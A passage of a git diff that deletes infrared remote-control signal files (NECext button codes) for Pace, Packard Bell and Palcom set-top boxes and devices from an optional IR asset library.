-address: 01 00 00 00 -command: 15 00 00 00 -# -name: NORM -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: CHAN- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: CHAN- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: VOL+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 18 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: RCL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: RCL -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: VOL- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1E 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 -# -name: I -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir deleted file mode 100644 index cdb567766..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-17/132,60.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 00 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 01 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 02 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 04 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 05 00 00 00 -# -name: TV_VCR -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 06 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 07 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 08 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 09 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0C 00 00 00 -# -name: KEY_AGAIN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0D 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 0F 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 10 00 00 00 -# -name: LEFT_OF_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 12 00 00 00 -# -name: RIGHT_OF_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 13 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 14 00 00 00 -# -name: NORM -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 15 00 00 00 -# -name: STORE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 16 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 18 00 00 00 -# -name: LT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 19 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 1C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir deleted file mode 100644 index 0ffce986e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_RC-30/132,60.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 20 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 21 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 22 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 23 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 24 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 25 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 26 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 27 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 28 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 29 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2B 00 00 00 -# -name: question -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2E 00 00 00 -# -name: reserved -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 2F 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 30 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 31 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 32 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 33 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 34 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 35 00 00 00 -# -name: interactive -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 36 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 37 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 38 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 39 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3C 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3D 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3E 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 84 3C 00 00 -command: 3F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir deleted file mode 100644 index 154ca3c6f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_TDS460NNZ/35,128.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 0D 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 0F 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 21 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 28 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 29 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 2C 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 30 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 31 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 37 00 00 00 -# -name: av_select -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 38 00 00 00 -# -name: KEY_SETUP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 54 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 58 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 59 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 5B 00 00 00 -# -name: KEY_SELECT -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 5C 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 6D 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 6E 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 6F 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 70 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 81 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 23 80 00 00 -command: 83 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 23 80 00 00 -command: CC 00 00 00 -# -name: box_office -type: parsed -protocol: NECext -address: 23 80 00 00 -command: D5 00 00 00 -# -name: planner -type: parsed -protocol: NECext -address: 23 80 00 00 -command: F4 00 00 00 -# -name: active -type: parsed -protocol: NECext -address: 23 80 00 00 -command: FD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir deleted file mode 100644 index 258f33998..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_pacetwin/34,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: power -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 00 00 00 00 -# -name: mute -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0B 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 20 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 21 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 22 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 23 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 24 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 25 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 26 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 27 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 28 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 29 00 00 00 -# -name: red -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2A 00 00 00 -# -name: green -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2B 00 00 00 -# -name: yellow -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2C 00 00 00 -# -name: blue -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2D 00 00 00 -# -name: d_up -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2E 00 00 00 -# -name: d_left -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 2F 00 00 00 -# -name: OK -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 30 00 00 00 -# -name: d_right -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 31 00 00 00 -# -name: d_down -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 32 00 00 00 -# -name: ch_up -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 33 00 00 00 -# -name: ext -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 34 00 00 00 -# -name: vol_up -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 35 00 00 00 -# -name: ch_down -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 36 00 00 00 -# -name: record -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 37 00 00 00 -# -name: vol_down -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 38 00 00 00 -# -name: tvdtv -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 3A 00 00 00 -# -name: return -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 3B 00 00 00 -# -name: menu -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 3C 00 00 00 -# -name: library -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 3D 00 00 00 -# -name: clip -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 41 00 00 00 -# -name: pause -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 44 00 00 00 -# -name: list -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 51 00 00 00 -# -name: guide -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 52 00 00 00 -# -name: exit -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 53 00 00 00 -# -name: text -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 54 00 00 00 -# -name: subtitle -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 55 00 00 00 -# -name: info -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 56 00 00 00 -# -name: play -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 57 00 00 00 -# -name: ffwd -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 58 00 00 00 -# -name: rew -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 59 00 00 00 -# -name: next -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5A 00 00 00 -# -name: prev -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5B 00 00 00 -# -name: stop -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5C 00 00 00 -# -name: ch_up_2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5D 00 00 00 -# -name: ch_down_2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5E 00 00 00 -# -name: timer -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 5F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir deleted file mode 100644 index 9164cc82d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Pace/Unknown_xsat/34,-1.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0A 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0B 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0C 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 0F 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 10 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 11 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 12 00 00 00 -# -name: SKIP_DOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 13 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 14 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 15 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 16 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 18 00 00 00 -# -name: TV/RADIO -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 19 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1B 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1D 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1E 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 1F 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 58 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9C 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9D 00 00 00 -# -name: KEY_QUIT -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9E 00 00 00 -# -name: SKIP_UP -type: parsed -protocol: NECext -address: 22 00 00 00 -command: 9F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir deleted file mode 100644 index 6386c079b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Packard Bell/Unknown_PackBell/16,-1.ir +++ /dev/null @@ -1,206 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_NUMERIC_STAR -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 00 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 01 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 02 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 03 00 00 00 -# -name: KEY_HELP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 04 00 00 00 -# -name: KEY_CD -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 05 00 00 00 -# -name: KEY_PHONE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 06 00 00 00 -# -name: Aux1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 07 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 08 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 09 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0C 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0D 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0E 00 00 00 -# -name: Display -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 0F 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 10 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 11 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 13 00 00 00 -# -name: KEY_NUMERIC_POUND -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 14 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 16 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 17 00 00 00 -# -name: RMB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1C 00 00 00 -# -name: LMB -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 1D 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 40 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 41 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 42 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 43 00 00 00 -# -name: Message -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 44 00 00 00 -# -name: Aux2 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 45 00 00 00 -# -name: SRS -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 46 00 00 00 -# -name: Aux3 -type: parsed -protocol: NECext -address: 10 00 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir deleted file mode 100644 index 0181c968a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Palcom/Unknown_DSL-6/192,-1.ir +++ /dev/null @@ -1,212 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 80 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 81 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 82 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 83 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 84 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 85 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 86 00 00 00 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 87 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 88 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 89 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8A 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8D 00 00 00 -# -name: Freeze -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8E 00 00 00 -# -name: Speaker_on_off -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 8F 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 90 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 91 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 92 00 00 00 -# -name: browse -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 93 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 94 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 95 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 96 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 97 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 98 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 99 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9A 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9B 00 00 00 -# -name: TV/Rad -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9C 00 00 00 -# -name: KEY_AUDIO -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9D 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9E 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: C0 00 00 00 -command: 9F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: C0 00 00 00 -command: D4 00 00 00 -# -name: Alt -type: parsed -protocol: NECext -address: C0 00 00 00 -command: D8 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: C0 00 00 00 -command: DC 00 00 00 diff --git 